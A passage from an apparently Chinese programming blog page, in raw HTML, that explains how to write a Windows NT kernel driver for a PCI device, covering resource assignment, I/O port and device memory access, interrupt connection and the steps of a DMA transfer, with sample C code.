src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_2078_2091_Closed_Image onclick="this.style.display='none'; Codehighlighter1_2078_2091_Closed_Text.style.display='none'; Codehighlighter1_2078_2091_Open_Image.style.display='inline'; Codehighlighter1_2078_2091_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif"></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(pciData.VendorID&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;PCI_INVALID_VENDORID&nbsp;)&nbsp;</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_2078_2091_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_2078_2091_Open_Text><span style="COLOR: #000000">{&nbsp;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #0000ff">continue</span><span style="COLOR: #000000">;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif">}</span></span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(&nbsp;(&nbsp;VendorId&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;PCI_INVALID_VENDORID&nbsp;)&nbsp;</span><span style="COLOR: #000000">&amp;&amp;</span><span style="COLOR: #000000"><br><img id=Codehighlighter1_2205_2217_Open_Image onclick="this.style.display='none'; Codehighlighter1_2205_2217_Open_Text.style.display='none'; Codehighlighter1_2205_2217_Closed_Image.style.display='inline'; Codehighlighter1_2205_2217_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_2205_2217_Closed_Image onclick="this.style.display='none'; Codehighlighter1_2205_2217_Closed_Text.style.display='none'; Codehighlighter1_2205_2217_Open_Image.style.display='inline'; Codehighlighter1_2205_2217_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">(&nbsp;pciData.VendorID&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;VendorId&nbsp;</span><span style="COLOR: #000000">||</span><span style="COLOR: #000000">&nbsp;pciData.DeviceID&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;DeviceId&nbsp;))&nbsp;</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_2205_2217_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_2205_2217_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #0000ff">continue</span><span style="COLOR: #000000">;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif">}</span></span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">pPciDeviceLocation</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">BusNumber&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;busNumber;&nbsp;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">pPciDeviceLocation</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">SlotNumber&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;slotNumber;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">pPciDeviceLocation&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">PciDeviceList</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">List[</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">count];<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">status&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;STATUS_SUCCESS;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif">}</span></span><span style="COLOR: #000000">&nbsp;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif">}</span></span><span style="COLOR: #000000">&nbsp;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000">&nbsp;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;获取设备的资源列表数据指针</span><span style="COLOR: #008000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">status&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;HalAssignSlotResources(RegistryPath,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">pDevExt</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">ClassUnicodeString,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">DriverObject,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">DeviceObject,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">pDevExt</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">InterfaceType,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">pDevExt</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">BusNumber,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">pDevExt</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">SlotNumber,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">pCmResourceList&nbsp;);<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">.&nbsp;I</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">O端口访问<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">在&nbsp;PC机上，I</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">O寻址方式与内存寻址方式不同，所以处理方法也不同。I</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">O空间是一个64K字节的寻址空间，I</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">O寻址没有实模式与保护模式之分，在各种&nbsp;模式下寻址方式相同。在Windows&nbsp;NT下，系统不允许处于Ring3级的用户程序和用户模式驱动程序直接使用I</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">O指令，对I</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">O端口进行访问，任何对I</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">O的操作都需要借助内核模式驱动&nbsp;来完成。在访问I</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">O端口时，使用READ_PORT_XXX与WRITE_PORT_XXX函数来进行读写。I</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">O端口基地址使用从配置空间基址寄存器&nbsp;PCI&nbsp;Base&nbsp;Address&nbsp;1中返回的I</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">O端口基地址。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">示例代码如下：<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">RegValue&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;READ_PORT_ULONG(pBaseAddr</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">RegOffSet);<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">WRITE_PORT_ULONG(pBaseAddr</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;RegOffset,&nbsp;RegValue);<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">.&nbsp;设备内存访问<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">Winsows&nbsp;工作在32位保护模式下，保护模式与实模式的根本区别在于CPU寻址方式上的不同，这也是Windows驱动程序设计中需要着重解决的问题。&nbsp;Windows采用了分段、分页机制，使得一个程序可以很容易地在物理内存容量不一样的、配置范围差别很大的计算机上运行，编程人员使用虚拟存储器可以写&nbsp;出比任何实际配置的物理存储器都大得多的程序。每个虚拟地址由16位的段选择字和32位段偏移量组成。通过分段机制，系统由虚拟地址产生线性地址。再通过&nbsp;分页机制，由线性地址产生物理地址。线性地址被分割成页目录(Page&nbsp;Directory)、页表(Page&nbsp;Table)和页偏移(Offset)三个部分。当建立一个新的Win32进程时，操作系统会为它分配一块内存，并建立它自己的页目录、页表，页目录的地&nbsp;址也同时放入进程的现场信息中。当计算一个地址时，系统首先从CPU控制器CR3中读出页目录所在的地址，然后根据页目录得到页表所在的地址，再根据页表&nbsp;得到实际代码／数据页的页帧，最后再根据页偏移访问特定的单元。硬件设备读写的是物理内存，但应用程序读写的是虚拟地址，所以存在着将物理内存地址映射到&nbsp;用户程序线性地址的问题。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">从物理内存到线性地址的转换是驱动程序需要完成的工作，可以在初始化驱动程序的进行。在已经获得设备的存&nbsp;储器基地址后，首先调用HalTranslateBusAddress()函数将总线相关的内存地址转换成系统的物理地址，然后调用&nbsp;MmMapIoSpace()函数将系统的物理地址映射到线性地址空间。在需要访问设备内存时，调用READ_REGISTER_XXX()与&nbsp;WRITE_REGISTER_XXX&nbsp;()函数来进行，基地址使用前面映射后的线性地址。在设备卸载时，调用MmUnmapIoSpace()断开设备内存与线性地址空间的映射。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">示例代码如下：<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">HalTranslateBusAddress(InterfaceType,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">BusNumber,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">BaseAddress</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">RangeStart,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">addressSpace,&nbsp;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">cardAddress)<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">BaseAddress</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">MappedRangeStart&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;MmMapIoSpace(cardAddress,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">BaseAddress</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">RangeLength,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">MmCached&nbsp;);<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">&#8230;&#8230;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">RegValue&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;READ_REGISTER_ULONG(pRegister);<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">WRITE_REGISTER_ULONG(pRegister,&nbsp;pInBuf</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">RegValue);<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">&#8230;&#8230;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">MmUnmapIoSpace(pBaseAddress</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">MappedRangeStart,&nbsp;pBaseAddress</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">RangeLength&nbsp;);<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">6</span><span style="COLOR: #000000">.&nbsp;中断处理<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">中&nbsp;断的设置、响应与调用在驱动程序中完成。设置中断应该在设备创建时完成，使用从CmResourceTypeInterrupt描述符中提取的参数，先调&nbsp;用HalGetInterruptVector()将与总线有关的中断向量参数转换为系统的中断向量，然后调用IoConnectInterrupt()&nbsp;指定中断服务，注册中断服务函数ISR（Interrupt&nbsp;Service&nbsp;Routine）的函数指针。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">当硬件设备产生中断时，系统&nbsp;会自动调用ISR函数来响应中断。ISR函数运行的中断请求级较高，主要完成对硬件设备中断的清除，不适合执行过多的代码。在传输大块数据时，需要使用延&nbsp;迟过程调用（Delay&nbsp;Process&nbsp;Call，DPC）机制。例如，使用PCI设备进行DMA通信时，在ISR函数中完成对指定设备中断的判断以及清除中断，在退出ISR前，调用DPC函&nbsp;数；在DPC函数中，完成DMA通信的过程，并将数据返回给用户程序。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">示例代码如下：<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">DeviceExtension</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">InterruptLevel&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;partialData</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">u.Interrupt.Level;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">DeviceExtension</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">InterruptVector&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;partialData</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">u.Interrupt.Vector;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">DeviceExtension</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">InterruptAffinity&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;partialData</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">u.Interrupt.Affinity;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(partialData</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">Flags&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">&nbsp;CM_RESOURCE_INTERRUPT_LATCHED)<br><img id=Codehighlighter1_4857_4901_Open_Image onclick="this.style.display='none'; Codehighlighter1_4857_4901_Open_Text.style.display='none'; Codehighlighter1_4857_4901_Closed_Image.style.display='inline'; Codehighlighter1_4857_4901_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_4857_4901_Closed_Image onclick="this.style.display='none'; Codehighlighter1_4857_4901_Closed_Text.style.display='none'; Codehighlighter1_4857_4901_Open_Image.style.display='inline'; Codehighlighter1_4857_4901_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_4857_4901_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_4857_4901_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">DeviceExtension</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">InterruptMode&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;Latched;<br><img id=Codehighlighter1_4908_4960_Open_Image onclick="this.style.display='none'; Codehighlighter1_4908_4960_Open_Text.style.display='none'; Codehighlighter1_4908_4960_Closed_Image.style.display='inline'; Codehighlighter1_4908_4960_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_4908_4960_Closed_Image onclick="this.style.display='none'; Codehighlighter1_4908_4960_Closed_Text.style.display='none'; Codehighlighter1_4908_4960_Open_Image.style.display='inline'; Codehighlighter1_4908_4960_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif">}</span></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">&nbsp;</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_4908_4960_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_4908_4960_Open_Text><span style="COLOR: #000000">{&nbsp;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">DeviceExtension</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">InterruptMode&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;LevelSensitive;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000">&nbsp;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">&#8230;&#8230;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">vector&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;HalGetInterruptVector(pDevExt</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">InterfaceType,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">pDevExt</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">BusNumber,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">pDevExt</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">InterruptLevel,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">pDevExt</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">InterruptVector,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">irql,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">affinity&nbsp;);<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">status&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;IoConnectInterrupt(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">pDevExt</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">InterruptObject,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">(PKSERVICE_ROUTINE)PciDmaISR,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">DeviceObject,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">NULL,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">vector,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">irql,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">irql,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">pDevExt</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">InterruptMode,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">TRUE,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">affinity,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">FALSE&nbsp;);<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">7</span><span style="COLOR: #000000">.&nbsp;DMA通信过程<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">DMA通信在驱动程序中实现，需要多个例程才能完成一次DMA通信。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">）&nbsp;DriverEntry例程<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">构造DEVICE_DESCRIPTION结构，并调用HalGetAdapter，找到与设备关联的Adapter对象，并将返回的Adapter对象的地址和映射寄存器的数目保存在设备扩展的数据结构中。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">示例代码：<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;申请DMA的适配器对象</span><span style="COLOR: #008000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">deviceDescription.Version&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;DEVICE_DESCRIPTION_VERSION;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">deviceDescription.Master&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;TRUE;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">deviceDescription.ScatterGather&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;pDevExt</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">ScatterGather;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">deviceDescription.DemandMode&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;FALSE;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">deviceDescription.AutoInitialize&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;FALSE;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">deviceDescription.Dma32BitAddresses&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;TRUE;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">deviceDescription.BusNumber&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;pDevExt</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">BusNumber;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">deviceDescription.InterfaceType&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;pDevExt</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">InterfaceType;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">deviceDescription.MaximumLength&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;pDevExt</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">MaxTransferLength;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">pDevExt</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">AdapterObject&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;HalGetAdapter(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">deviceDescription,<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">numberOfMapRegisters<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">);<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">&#8230;&#8230;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">）Start&nbsp;I</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">O例程<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">该例程请求Adapter对象的拥有权，然后把其余的工作留给AdapterControl回调例程。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">a)&nbsp;调用KeFlushIoBuffers从CPU的Cache把数据清到物理内存，然后计算映射寄存器的数目和用户缓冲区的大小，及在第一次设备操作中传输的字节数。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">b)&nbsp;调用MmGetMdlVirtualAddress，从MDL中恢复用户缓冲区的虚地址，并存入设备扩展数据结构中。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">c)&nbsp;调用IoAllocateAdapterChannel请求Adapter对象的拥有权。如果调用成功，其余的设置工作由AdapterControl例程去做；如果失败了，则完成本次IRP包处理，开始处理下一个IRP。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">)&nbsp;AdapterControl例程<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">该例程完成初始化DMA控制器，并启动设备的工作。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">a)&nbsp;调用IoMapTransfer，装入Adapter对象的映射寄存器。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">b)&nbsp;向设备发送合适的命令开始传输操作。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">c)&nbsp;返回值KeepObject保留Adapter对象的拥有权。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">）中断服务（ISR）例程<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">在设备中断时，由系统调用。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">a)&nbsp;向硬件设备发出中断响应的指令。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">b)&nbsp;调用IoRequestDpc在驱动程序的DpcForIsr中继续处理该请求。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">c)&nbsp;返回TRUE，表示已经服务了本次中断。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">)DpcForIsr例程<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">由ISR在每个部分数据传输操作的结束时触发，完成当前IRP请求。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">a)&nbsp;调用IoFlushAdapterBuffers，清除Adapter对象的Cache中的任何剩余数据。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">b)&nbsp;调用IoFreeMapRegisters，释放所使用的映射寄存器。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">c)&nbsp;检查有未传完的剩余数据，如果有，则计算下次设备操作中需要传输的字节数，调用IoMapTransfer重设映射寄存器，并启动设备；如果没有剩余数据，则完成当前IRP请求，并开始下一个请求。&nbsp;</span></div>
